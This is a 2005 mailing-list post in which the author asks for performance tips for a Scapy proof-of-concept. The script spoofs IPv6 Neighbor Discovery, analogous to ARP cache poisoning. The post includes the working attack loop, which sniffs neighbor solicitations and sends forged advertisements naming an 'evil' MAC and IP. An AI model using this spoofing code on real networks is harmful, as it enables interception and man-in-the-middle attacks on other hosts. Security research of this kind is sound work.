5 Oct 2005 02:51
Scapy performance question
Tony Doan <tdoan <at> tdoan.com>
2005-10-05 00:51:06 GMT
2005-10-05 00:51:06 GMT
Hi,
I'm working on a proof of concept having to do with IPv6 and Neighbor
Discovery. The idea is similar to ARP cache poising. The script sits
in a while(1) looking for a particular type of icmpv6 packet. Then
tries to respond before the "real" host can to deceive the original
sender. Unfortunately in it's current incarnation this takes around
10 hundredths of a second longer than it takes for the "real" host to
reply and all is lost. Does anyone have any tips on performance
tuning python and/or scapy or is this just a limitation I need to
learn to live with? :)
Here is the script snippet:
while(1):
r = sniff(filter="icmp6", count=1, promisc=1)
if r[0].haslayer(ICMPv6):
if r[0].getlayer(ICMPv6).type == 135:
srcmac = r[0].getlayer(Ether).src
srcip = r[0].getlayer(IPv6).src
sendp( Ether(src=evilmac,dst=srcmac)/IPv6
(src=evilip,dst=srcip,hoplim=255)/ICMPv6(type=136)/
ICMPv6MessageNeighbor(sa=evilip) )
print r[0].getlayer(ICMPv6MessageNeighbor).sa
Please note I do the type checking in the scapy script instead of the
sniff filter due to an ICMPv6 limitation in pcap (even the newest).
Thanks for any ideas.
(Continue reading)
RSS Feed